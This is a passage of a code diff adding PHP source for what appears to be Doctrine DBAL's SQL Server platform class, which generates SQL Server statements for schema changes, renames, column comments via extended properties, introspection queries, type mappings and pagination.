$this->getCreateColumnCommentSQL( + $tableName, + $newColumn->getQuotedName($this), + $newComment, + ); + } + } + + // Do not add query part if only comment has changed. + if ($columnDiff->hasCommentChanged() && count($columnDiff->changedProperties) === 1) { + continue; + } + + $requireDropDefaultConstraint = $this->alterColumnRequiresDropDefaultConstraint($columnDiff); + + if ($requireDropDefaultConstraint) { + $oldColumn = $columnDiff->getOldColumn(); + + if ($oldColumn !== null) { + $oldColumnName = $oldColumn->getName(); + } else { + $oldColumnName = $columnDiff->oldColumnName; + } + + $queryParts[] = $this->getAlterTableDropDefaultConstraintClause($tableName, $oldColumnName); + } + + $columnProperties = $newColumn->toArray(); + + $queryParts[] = 'ALTER COLUMN ' . + $this->getColumnDeclarationSQL($newColumn->getQuotedName($this), $columnProperties); + + if ( + ! isset($columnProperties['default']) + || (! $requireDropDefaultConstraint && ! $columnDiff->hasDefaultChanged()) + ) { + continue; + } + + $queryParts[] = $this->getAlterTableAddDefaultConstraintClause($tableName, $newColumn); + } + + $tableNameSQL = $table->getQuotedName($this); + + foreach ($diff->getRenamedColumns() as $oldColumnName => $newColumn) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $newColumn, $diff, $columnSql)) { + continue; + } + + $oldColumnName = new Identifier($oldColumnName); + + $sql[] = "sp_rename '" . $tableNameSQL . '.' . $oldColumnName->getQuotedName($this) . + "', '" . $newColumn->getQuotedName($this) . "', 'COLUMN'"; + + // Recreate default constraint with new column name if necessary (for future reference). + if ($newColumn->getDefault() === null) { + continue; + } + + $queryParts[] = $this->getAlterTableDropDefaultConstraintClause( + $tableName, + $oldColumnName->getQuotedName($this), + ); + $queryParts[] = $this->getAlterTableAddDefaultConstraintClause($tableName, $newColumn); + } + + $tableSql = []; + + if ($this->onSchemaAlterTable($diff, $tableSql)) { + return array_merge($tableSql, $columnSql); + } + + foreach ($queryParts as $query) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + $sql = array_merge($sql, $commentsSql); + + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of "rename table" SQL using %s is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $sql = array_merge($sql, $this->getRenameTableSQL($tableName, $newName->getName())); + } + + $sql = array_merge( + $this->getPreAlterTableIndexForeignKeySQL($diff), + $sql, + $this->getPostAlterTableIndexForeignKeySQL($diff), + ); + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * {@inheritDoc} + */ + public function getRenameTableSQL(string $oldName, string $newName): array + { + return [ + sprintf('sp_rename %s, %s', $this->quoteStringLiteral($oldName), $this->quoteStringLiteral($newName)), + + /* Rename table's default constraints names + * to match the new table name. + * This is necessary to ensure that the default + * constraints can be referenced in future table + * alterations as the table name is encoded in + * default constraints' names. */ + sprintf( + <<<'SQL' + DECLARE @sql NVARCHAR(MAX) = N''; + SELECT @sql += N'EXEC sp_rename N''' + dc.name + ''', N''' + + REPLACE(dc.name, '%s', '%s') + ''', ''OBJECT'';' + FROM sys.default_constraints dc + JOIN sys.tables tbl + ON dc.parent_object_id = tbl.object_id + WHERE tbl.name = %s; + EXEC sp_executesql @sql + SQL, + $this->generateIdentifierName($oldName), + $this->generateIdentifierName($newName), + $this->quoteStringLiteral($newName), + ), + ]; + } + + /** + * Returns the SQL clause for adding a default constraint in an ALTER TABLE statement. + * + * @param string $tableName The name of the table to generate the clause for. + * @param Column $column The column to generate the clause for. + */ + private function getAlterTableAddDefaultConstraintClause($tableName, Column $column): string + { + $columnDef = $column->toArray(); + $columnDef['name'] = $column->getQuotedName($this); + + return 'ADD' . $this->getDefaultConstraintDeclarationSQL($tableName, $columnDef); + } + + /** + * Returns the SQL clause for dropping an existing default constraint in an ALTER TABLE statement. + * + * @param string $tableName The name of the table to generate the clause for. + * @param string $columnName The name of the column to generate the clause for. + */ + private function getAlterTableDropDefaultConstraintClause($tableName, $columnName): string + { + return 'DROP CONSTRAINT ' . $this->generateDefaultConstraintName($tableName, $columnName); + } + + /** + * Checks whether a column alteration requires dropping its default constraint first. + * + * Different to other database vendors SQL Server implements column default values + * as constraints and therefore changes in a column's default value as well as changes + * in a column's type require dropping the default constraint first before being to + * alter the particular column to the new definition. + */ + private function alterColumnRequiresDropDefaultConstraint(ColumnDiff $columnDiff): bool + { + $oldColumn = $columnDiff->getOldColumn(); + + // We can only decide whether to drop an existing default constraint + // if we know the original default value. + if (! $oldColumn instanceof Column) { + return false; + } + + // We only need to drop an existing default constraint if we know the + // column was defined with a default value before. + if ($oldColumn->getDefault() === null) { + return false; + } + + // We need to drop an existing default constraint if the column was + // defined with a default value before and it has changed. + if ($columnDiff->hasDefaultChanged()) { + return true; + } + + // We need to drop an existing default constraint if the column was + // defined with a default value before and the native column type has changed. + return $columnDiff->hasTypeChanged() || $columnDiff->hasFixedChanged(); + } + + /** + * Returns the SQL statement for altering a column comment. + * + * SQL Server does not support native column comments, + * therefore the extended properties functionality is used + * as a workaround to store them. + * The property name used to store column comments is "MS_Description" + * which provides compatibility with SQL Server Management Studio, + * as column comments are stored in the same property there when + * specifying a column's "Description" attribute. + * + * @param string $tableName The quoted table name to which the column belongs. + * @param string $columnName The quoted column name to alter the comment for. + * @param string|null $comment The column's comment. + * + * @return string + */ + protected function getAlterColumnCommentSQL($tableName, $columnName, $comment) + { + if (strpos($tableName, '.') !== false) { + [$schemaSQL, $tableSQL] = explode('.', $tableName); + $schemaSQL = $this->quoteStringLiteral($schemaSQL); + $tableSQL = $this->quoteStringLiteral($tableSQL); + } else { + $schemaSQL = "'dbo'"; + $tableSQL = $this->quoteStringLiteral($tableName); + } + + return $this->getUpdateExtendedPropertySQL( + 'MS_Description', + $comment, + 'SCHEMA', + $schemaSQL, + 'TABLE', + $tableSQL, + 'COLUMN', + $columnName, + ); + } + + /** + * Returns the SQL statement for dropping a column comment. + * + * SQL Server does not support native column comments, + * therefore the extended properties functionality is used + * as a workaround to store them. + * The property name used to store column comments is "MS_Description" + * which provides compatibility with SQL Server Management Studio, + * as column comments are stored in the same property there when + * specifying a column's "Description" attribute. + * + * @param string $tableName The quoted table name to which the column belongs. + * @param string $columnName The quoted column name to drop the comment for. + * + * @return string + */ + protected function getDropColumnCommentSQL($tableName, $columnName) + { + if (strpos($tableName, '.') !== false) { + [$schemaSQL, $tableSQL] = explode('.', $tableName); + $schemaSQL = $this->quoteStringLiteral($schemaSQL); + $tableSQL = $this->quoteStringLiteral($tableSQL); + } else { + $schemaSQL = "'dbo'"; + $tableSQL = $this->quoteStringLiteral($tableName); + } + + return $this->getDropExtendedPropertySQL( + 'MS_Description', + 'SCHEMA', + $schemaSQL, + 'TABLE', + $tableSQL, + 'COLUMN', + $columnName, + ); + } + + /** + * {@inheritDoc} + */ + protected function getRenameIndexSQL($oldIndexName, Index $index, $tableName) + { + return [sprintf( + "EXEC sp_rename N'%s.%s', N'%s', N'INDEX'", + $tableName, + $oldIndexName, + $index->getQuotedName($this), + ), + ]; + } + + /** + * Returns the SQL statement for adding an extended property to a database object. + * + * @internal The method should be only used from within the SQLServerPlatform class hierarchy. + * + * @link http://msdn.microsoft.com/en-us/library/ms180047%28v=sql.90%29.aspx + * + * @param string $name The name of the property to add. + * @param string|null $value The value of the property to add. + * @param string|null $level0Type The type of the object at level 0 the property belongs to. + * @param string|null $level0Name The name of the object at level 0 the property belongs to. + * @param string|null $level1Type The type of the object at level 1 the property belongs to. + * @param string|null $level1Name The name of the object at level 1 the property belongs to. + * @param string|null $level2Type The type of the object at level 2 the property belongs to. + * @param string|null $level2Name The name of the object at level 2 the property belongs to. + * + * @return string + */ + public function getAddExtendedPropertySQL( + $name, + $value = null, + $level0Type = null, + $level0Name = null, + $level1Type = null, + $level1Name = null, + $level2Type = null, + $level2Name = null + ) { + return 'EXEC sp_addextendedproperty ' . + 'N' . $this->quoteStringLiteral($name) . ', N' . $this->quoteStringLiteral((string) $value) . ', ' . + 'N' . $this->quoteStringLiteral((string) $level0Type) . ', ' . $level0Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level1Type) . ', ' . $level1Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level2Type) . ', ' . $level2Name; + } + + /** + * Returns the SQL statement for dropping an extended property from a database object. + * + * @internal The method should be only used from within the SQLServerPlatform class hierarchy. + * + * @link http://technet.microsoft.com/en-gb/library/ms178595%28v=sql.90%29.aspx + * + * @param string $name The name of the property to drop. + * @param string|null $level0Type The type of the object at level 0 the property belongs to. + * @param string|null $level0Name The name of the object at level 0 the property belongs to. + * @param string|null $level1Type The type of the object at level 1 the property belongs to. + * @param string|null $level1Name The name of the object at level 1 the property belongs to. + * @param string|null $level2Type The type of the object at level 2 the property belongs to. + * @param string|null $level2Name The name of the object at level 2 the property belongs to. + * + * @return string + */ + public function getDropExtendedPropertySQL( + $name, + $level0Type = null, + $level0Name = null, + $level1Type = null, + $level1Name = null, + $level2Type = null, + $level2Name = null + ) { + return 'EXEC sp_dropextendedproperty ' . + 'N' . $this->quoteStringLiteral($name) . ', ' . + 'N' . $this->quoteStringLiteral((string) $level0Type) . ', ' . $level0Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level1Type) . ', ' . $level1Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level2Type) . ', ' . $level2Name; + } + + /** + * Returns the SQL statement for updating an extended property of a database object. + * + * @internal The method should be only used from within the SQLServerPlatform class hierarchy. + * + * @link http://msdn.microsoft.com/en-us/library/ms186885%28v=sql.90%29.aspx + * + * @param string $name The name of the property to update. + * @param string|null $value The value of the property to update. + * @param string|null $level0Type The type of the object at level 0 the property belongs to. + * @param string|null $level0Name The name of the object at level 0 the property belongs to. + * @param string|null $level1Type The type of the object at level 1 the property belongs to. + * @param string|null $level1Name The name of the object at level 1 the property belongs to. + * @param string|null $level2Type The type of the object at level 2 the property belongs to. + * @param string|null $level2Name The name of the object at level 2 the property belongs to. + * + * @return string + */ + public function getUpdateExtendedPropertySQL( + $name, + $value = null, + $level0Type = null, + $level0Name = null, + $level1Type = null, + $level1Name = null, + $level2Type = null, + $level2Name = null + ) { + return 'EXEC sp_updateextendedproperty ' . + 'N' . $this->quoteStringLiteral($name) . ', N' . $this->quoteStringLiteral((string) $value) . ', ' . + 'N' . $this->quoteStringLiteral((string) $level0Type) . ', ' . $level0Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level1Type) . ', ' . $level1Name . ', ' . + 'N' . $this->quoteStringLiteral((string) $level2Type) . ', ' . $level2Name; + } + + /** + * {@inheritDoc} + */ + public function getEmptyIdentityInsertSQL($quotedTableName, $quotedIdentifierColumnName) + { + return 'INSERT INTO ' . $quotedTableName . ' DEFAULT VALUES'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + // "sysdiagrams" table must be ignored as it's internal SQL Server table for Database Diagrams + // Category 2 must be ignored as it is "MS SQL Server 'pseudo-system' object[s]" for replication + return 'SELECT name, SCHEMA_NAME (uid) AS schema_name FROM sysobjects' + . " WHERE type = 'U' AND name != 'sysdiagrams' AND category != 2 ORDER BY name"; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableColumnsSQL($table, $database = null) + { + return "SELECT col.name, + type.name AS type, + col.max_length AS length, + ~col.is_nullable AS notnull, + def.definition AS [default], + col.scale, + col.precision, + col.is_identity AS autoincrement, + col.collation_name AS collation, + CAST(prop.value AS NVARCHAR(MAX)) AS comment -- CAST avoids driver error for sql_variant type + FROM sys.columns AS col + JOIN sys.types AS type + ON col.user_type_id = type.user_type_id + JOIN sys.objects AS obj + ON col.object_id = obj.object_id + JOIN sys.schemas AS scm + ON obj.schema_id = scm.schema_id + LEFT JOIN sys.default_constraints def + ON col.default_object_id = def.object_id + AND col.object_id = def.parent_object_id + LEFT JOIN sys.extended_properties AS prop + ON obj.object_id = prop.major_id + AND col.column_id = prop.minor_id + AND prop.name = 'MS_Description' + WHERE obj.type = 'U' + AND " . $this->getTableWhereClause($table, 'scm.name', 'obj.name'); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * @param string|null $database + * + * @return string + */ + public function getListTableForeignKeysSQL($table, $database = null) + { + return 'SELECT f.name AS ForeignKey, + SCHEMA_NAME (f.SCHEMA_ID) AS SchemaName, + OBJECT_NAME (f.parent_object_id) AS TableName, + COL_NAME (fc.parent_object_id,fc.parent_column_id) AS ColumnName, + SCHEMA_NAME (o.SCHEMA_ID) ReferenceSchemaName, + OBJECT_NAME (f.referenced_object_id) AS ReferenceTableName, + COL_NAME(fc.referenced_object_id,fc.referenced_column_id) AS ReferenceColumnName, + f.delete_referential_action_desc, + f.update_referential_action_desc + FROM sys.foreign_keys AS f + INNER JOIN sys.foreign_key_columns AS fc + INNER JOIN sys.objects AS o ON o.OBJECT_ID = fc.referenced_object_id + ON f.OBJECT_ID = fc.constraint_object_id + WHERE ' . + $this->getTableWhereClause($table, 'SCHEMA_NAME (f.schema_id)', 'OBJECT_NAME (f.parent_object_id)') . + ' ORDER BY fc.constraint_column_id'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableIndexesSQL($table, $database = null) + { + return "SELECT idx.name AS key_name, + col.name AS column_name, + ~idx.is_unique AS non_unique, + idx.is_primary_key AS [primary], + CASE idx.type + WHEN '1' THEN 'clustered' + WHEN '2' THEN 'nonclustered' + ELSE NULL + END AS flags + FROM sys.tables AS tbl + JOIN sys.schemas AS scm ON tbl.schema_id = scm.schema_id + JOIN sys.indexes AS idx ON tbl.object_id = idx.object_id + JOIN sys.index_columns AS idxcol ON idx.object_id = idxcol.object_id AND idx.index_id = idxcol.index_id + JOIN sys.columns AS col ON idxcol.object_id = col.object_id AND idxcol.column_id = col.column_id + WHERE " . $this->getTableWhereClause($table, 'scm.name', 'tbl.name') . ' + ORDER BY idx.index_id ASC, idxcol.key_ordinal ASC'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return "SELECT name, definition FROM sysobjects + INNER JOIN sys.sql_modules ON sysobjects.id = sys.sql_modules.object_id + WHERE type = 'V' ORDER BY name"; + } + + /** + * Returns the where clause to filter schema and table name in a query. + * + * @param string $table The full qualified name of the table. + * @param string $schemaColumn The name of the column to compare the schema to in the where clause. + * @param string $tableColumn The name of the column to compare the table to in the where clause. + */ + private function getTableWhereClause($table, $schemaColumn, $tableColumn): string + { + if (strpos($table, '.') !== false) { + [$schema, $table] = explode('.', $table); + $schema = $this->quoteStringLiteral($schema); + $table = $this->quoteStringLiteral($table); + } else { + $schema = 'SCHEMA_NAME()'; + $table = $this->quoteStringLiteral($table); + } + + return sprintf('(%s = %s AND %s = %s)', $tableColumn, $table, $schemaColumn, $schema); + } + + /** + * {@inheritDoc} + */ + public function getLocateExpression($str, $substr, $startPos = false) + { + if ($startPos === false) { + return 'CHARINDEX(' . $substr . ', ' . $str . ')'; + } + + return 'CHARINDEX(' . $substr . ', ' . $str . ', ' . $startPos . ')'; + } + + /** + * {@inheritDoc} + */ + public function getModExpression($expression1, $expression2) + { + return $expression1 . ' % ' . $expression2; + } + + /** + * {@inheritDoc} + */ + public function getTrimExpression($str, $mode = TrimMode::UNSPECIFIED, $char = false) + { + if ($char === false) { + switch ($mode) { + case TrimMode::LEADING: + $trimFn = 'LTRIM'; + break; + + case TrimMode::TRAILING: + $trimFn = 'RTRIM'; + break; + + default: + return 'LTRIM(RTRIM(' . $str . '))'; + } + + return $trimFn . '(' . $str . ')'; + } + + $pattern = "'%[^' + " . $char . " + ']%'"; + + if ($mode === TrimMode::LEADING) { + return 'stuff(' . $str . ', 1, patindex(' . $pattern . ', ' . $str . ') - 1, null)'; + } + + if ($mode === TrimMode::TRAILING) { + return 'reverse(stuff(reverse(' . $str . '), 1, ' + . 'patindex(' . $pattern . ', reverse(' . $str . ')) - 1, null))'; + } + + return 'reverse(stuff(reverse(stuff(' . $str . ', 1, patindex(' . $pattern . ', ' . $str . ') - 1, null)), 1, ' + . 'patindex(' . $pattern . ', reverse(stuff(' . $str . ', 1, patindex(' . $pattern . ', ' . $str + . ') - 1, null))) - 1, null))'; + } + + /** + * {@inheritDoc} + */ + public function getConcatExpression() + { + return sprintf('CONCAT(%s)', implode(', ', func_get_args())); + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListDatabasesSQL() + { + return 'SELECT * FROM sys.databases'; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see SQLServerSchemaManager::listSchemaNames()} instead. + */ + public function getListNamespacesSQL() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'SQLServerPlatform::getListNamespacesSQL() is deprecated,' + . ' use SQLServerSchemaManager::listSchemaNames() instead.', + ); + + return "SELECT name FROM sys.schemas WHERE name NOT IN('guest', 'INFORMATION_SCHEMA', 'sys')"; + } + + /** + * {@inheritDoc} + */ + public function getSubstringExpression($string, $start, $length = null) + { + if ($length !== null) { + return 'SUBSTRING(' . $string . ', ' . $start . ', ' . $length . ')'; + } + + return 'SUBSTRING(' . $string . ', ' . $start . ', LEN(' . $string . ') - ' . $start . ' + 1)'; + } + + /** + * {@inheritDoc} + */ + public function getLengthExpression($column) + { + return 'LEN(' . $column . ')'; + } + + public function getCurrentDatabaseExpression(): string + { + return 'DB_NAME()'; + } + + /** + * {@inheritDoc} + */ + public function getSetTransactionIsolationSQL($level) + { + return 'SET TRANSACTION ISOLATION LEVEL ' . $this->_getTransactionIsolationLevelSQL($level); + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + return 'INT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getGuidTypeDeclarationSQL(array $column) + { + return 'UNIQUEIDENTIFIER'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzTypeDeclarationSQL(array $column) + { + return 'DATETIMEOFFSET(6)'; + } + + /** + * {@inheritDoc} + */ + public function getAsciiStringTypeDeclarationSQL(array $column): string + { + $length = $column['length'] ?? null; + + if (! isset($column['fixed'])) { + return sprintf('VARCHAR(%d)', $length ?? 255); + } + + return sprintf('CHAR(%d)', $length ?? 255); + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default string column length on SQL Server is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed + ? 'NCHAR(' . ($length > 0 ? $length : 255) . ')' + : 'NVARCHAR(' . ($length > 0 ? $length : 255) . ')'; + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length on SQL Server is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed + ? 'BINARY(' . ($length > 0 ? $length : 255) . ')' + : 'VARBINARY(' . ($length > 0 ? $length : 255) . ')'; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'SQLServerPlatform::getBinaryMaxLength() is deprecated.', + ); + + return 8000; + } + + /** + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + return 'VARCHAR(MAX)'; + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + return ! empty($column['autoincrement']) ? ' IDENTITY' : ''; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + // 3 - microseconds precision length + // http://msdn.microsoft.com/en-us/library/ms187819.aspx + return 'DATETIME2(6)'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'TIME(0)'; + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'BIT'; + } + + /** + * {@inheritDoc} + */ + protected function doModifyLimitQuery($query, $limit, $offset) + { + if ($limit === null && $offset <= 0) { + return $query; + } + + if ($this->shouldAddOrderBy($query)) { + if (preg_match('/^SELECT\s+DISTINCT/im', $query) > 0) { + // SQL Server won't let us order by a non-selected column in a DISTINCT query, + // so we have to do this madness. This says, order by the first column in the + // result. SQL Server's docs say that a nonordered query's result order is non- + // deterministic anyway, so this won't do anything that a bunch of update and + // deletes to the table wouldn't do anyway. + $query .= ' ORDER BY 1'; + } else { + // In another DBMS, we could do ORDER BY 0, but SQL Server gets angry if you + // use constant expressions in the order by list. + $query .= ' ORDER BY (SELECT 0)'; + } + } + + // This looks somewhat like MYSQL, but limit/offset are in inverse positions + // Supposedly SQL:2008 core standard. + // Per TSQL spec, FETCH NEXT n ROWS ONLY is not valid without OFFSET n ROWS. + $query .= sprintf(' OFFSET %d ROWS', $offset); + + if ($limit !== null) { + $query .= sprintf(' FETCH NEXT %d ROWS ONLY', $limit); + } + + return $query; + } + + /** + * {@inheritDoc} + */ + public function convertBooleans($item) + { + if (is_array($item)) { + foreach ($item as $key => $value) { + if (! is_bool($value) && ! is_numeric($value)) { + continue; + } + + $item[$key] = (int) (bool) $value; + } + } elseif (is_bool($item) || is_numeric($item)) { + $item = (int) (bool) $item; + } + + return $item; + } + + /** + * {@inheritDoc} + */ + public function getCreateTemporaryTableSnippetSQL() + { + return 'CREATE TABLE'; + } + + /** + * {@inheritDoc} + */ + public function getTemporaryTableName($tableName) + { + return '#' . $tableName; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeFormatString() + { + return 'Y-m-d H:i:s.u'; + } + + /** + * {@inheritDoc} + */ + public function getDateFormatString() + { + return 'Y-m-d'; + } + + /** + * {@inheritDoc} + */ + public function getTimeFormatString() + { + return 'H:i:s'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzFormatString() + { + return 'Y-m-d H:i:s.u P'; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return 'mssql'; + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'bigint' => Types::BIGINT, + 'binary' => Types::BINARY, + 'bit' => Types::BOOLEAN, + 'blob' => Types::BLOB, + 'char' => Types::STRING, + 'date' => Types::DATE_MUTABLE, + 'datetime' => Types::DATETIME_MUTABLE, + 'datetime2' => Types::DATETIME_MUTABLE, + 'datetimeoffset' => Types::DATETIMETZ_MUTABLE, + 'decimal' => Types::DECIMAL, + 'double' => Types::FLOAT, + 'double precision' => Types::FLOAT, + 'float' => Types::FLOAT, + 'image' => Types::BLOB, + 'int' => Types::INTEGER, + 'money' => Types::INTEGER, + 'nchar' => Types::STRING, + 'ntext' => Types::TEXT, + 'numeric' => Types::DECIMAL, + 'nvarchar' => Types::STRING, + 'real' => Types::FLOAT, + 'smalldatetime' => Types::DATETIME_MUTABLE, + 'smallint' => Types::SMALLINT, + 'smallmoney' => Types::INTEGER, + 'text' => Types::TEXT, + 'time' => Types::TIME_MUTABLE, + 'tinyint' => Types::SMALLINT, + 'uniqueidentifier' => Types::GUID, + 'varbinary' => Types::BINARY, + 'varchar' => Types::STRING, + ]; + } + + /** + * {@inheritDoc} + */ + public function createSavePoint($savepoint) + { + return 'SAVE TRANSACTION ' . $savepoint; + } + + /** + * {@inheritDoc} + */ + public function releaseSavePoint($savepoint) + { + return ''; + } + + /** + * {@inheritDoc} + */ + public function rollbackSavePoint($savepoint) + { + return 'ROLLBACK TRANSACTION ' . $savepoint; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getForeignKeyReferentialActionSQL($action) + { + // RESTRICT is not supported, therefore falling back to NO ACTION. + if (strtoupper($action) === 'RESTRICT') { + return 'NO ACTION'; + } + + return parent::getForeignKeyReferentialActionSQL($action); + } + + public function appendLockHint(string $fromClause, int $lockMode): string + { + switch ($lockMode) { + case LockMode::NONE: + case LockMode::OPTIMISTIC: + return $fromClause; + + case LockMode::PESSIMISTIC_READ: + return $fromClause . ' WITH (HOLDLOCK, ROWLOCK)'; + + case LockMode::PESSIMISTIC_WRITE: + return $fromClause . ' WITH (UPDLOCK, ROWLOCK)'; + + default: + throw InvalidLockMode::fromLockMode($lockMode); + } + } + + /** + * {@inheritDoc} + */ + public function getForUpdateSQL() + { + return ' '; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'SQLServerPlatform::getReservedKeywordsClass() is deprecated,' + . ' use SQLServerPlatform::createReservedKeywordsList() instead.', + ); + + return Keywords\SQLServer2012Keywords::class; + } + + /** + * {@inheritDoc} + */ + public function quoteSingleIdentifier($str) + { + return '[' . str_replace(']', ']]', $str) . ']'; + } + + /** + * {@inheritDoc} + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + + return 'TRUNCATE TABLE ' . $tableIdentifier->getQuotedName($this); + } + + /** + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + return 'VARBINARY(MAX)'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getColumnDeclarationSQL($name, array $column) + { + if (isset($column['columnDefinition'])) { + $columnDef = $this->getCustomTypeDeclarationSQL($column); + } else { + $collation = ! empty($column['collation']) ? + ' ' . $this->getColumnCollationDeclarationSQL($column['collation']) : ''; + + $notnull = ! empty($column['notnull']) ? ' NOT NULL' : ''; + + if (! empty($column['unique'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "unique" column property is deprecated. Use unique constraints instead.', + ); + + $unique = ' ' . $this->getUniqueFieldDeclarationSQL(); + } else { + $unique = ''; + } + + if (! empty($column['check'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "check" column property is deprecated.', + ); + + $check = ' ' . $column['check']; + } else { + $check = ''; + } + + $typeDecl = $column['type']->getSQLDeclaration($column, $this); + $columnDef = $typeDecl . $collation . $notnull . $unique . $check; + } + + return $name . ' ' . $columnDef; + } + + /** + * {@inheritDoc} + * + * SQL Server does not support quoting collation identifiers. + */ + public function getColumnCollationDeclarationSQL($collation) + { + return 'COLLATE ' . $collation; + } + + public function columnsEqual(Column $column1, Column $column2): bool + { + if (! parent::columnsEqual($column1, $column2)) { + return false; + } + + return $this->getDefaultValueDeclarationSQL($column1->toArray()) + === $this->getDefaultValueDeclarationSQL($column2->toArray()); + } + + protected function getLikeWildcardCharacters(): string + { + return parent::getLikeWildcardCharacters() . '[]^'; + } + + /** + * Returns a unique default constraint name for a table and column. + * + * @param string $table Name of the table to generate the unique default constraint name for. + * @param string $column Name of the column in the table to generate the unique default constraint name for. + */ + private function generateDefaultConstraintName($table, $column): string + { + return 'DF_' . $this->generateIdentifierName($table) . '_' . $this->generateIdentifierName($column); + } + + /** + * Returns a hash value for a given identifier. + * + * @param string $identifier Identifier to generate a hash value for. + */ + private function generateIdentifierName($identifier): string + { + // Always generate name for unquoted identifiers to ensure consistency. + $identifier = new Identifier($identifier); + + return strtoupper(dechex(crc32($identifier->getName()))); + } + + protected function getCommentOnTableSQL(string $tableName, ?string $comment): string + { + return sprintf( + <<<'SQL' + EXEC sys.sp_addextendedproperty @name=N'MS_Description', + @value=N%s, @level0type=N'SCHEMA', @level0name=N'dbo', + @level1type=N'TABLE', @level1name=N%s + SQL + , + $this->quoteStringLiteral((string) $comment), + $this->quoteStringLiteral($tableName), + ); + } + + /** @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. */ + public function getListTableMetadataSQL(string $table): string + { + return sprintf( + <<<'SQL' + SELECT + p.value AS [table_comment] + FROM + sys.tables AS tbl + INNER JOIN sys.extended_properties AS p ON p.major_id=tbl.object_id AND p.minor_id=0 AND p.class=1 + WHERE + (tbl.name=N%s and SCHEMA_NAME(tbl.schema_id)=N'dbo' and p.name=N'MS_Description') + SQL + , + $this->quoteStringLiteral($table), + ); + } + + /** @param string $query */ + private function shouldAddOrderBy($query): bool + { + // Find the position of the last instance of ORDER BY and ensure it is not within a parenthetical statement + // but can be in a newline + $matches = []; + $matchesCount = preg_match_all('/[\\s]+order\\s+by\\s/im', $query, $matches, PREG_OFFSET_CAPTURE); + if ($matchesCount === 0) { + return true; + } + + // ORDER BY instance may be in a subquery after ORDER BY + // e.g. SELECT col1 FROM test ORDER BY (SELECT col2 from 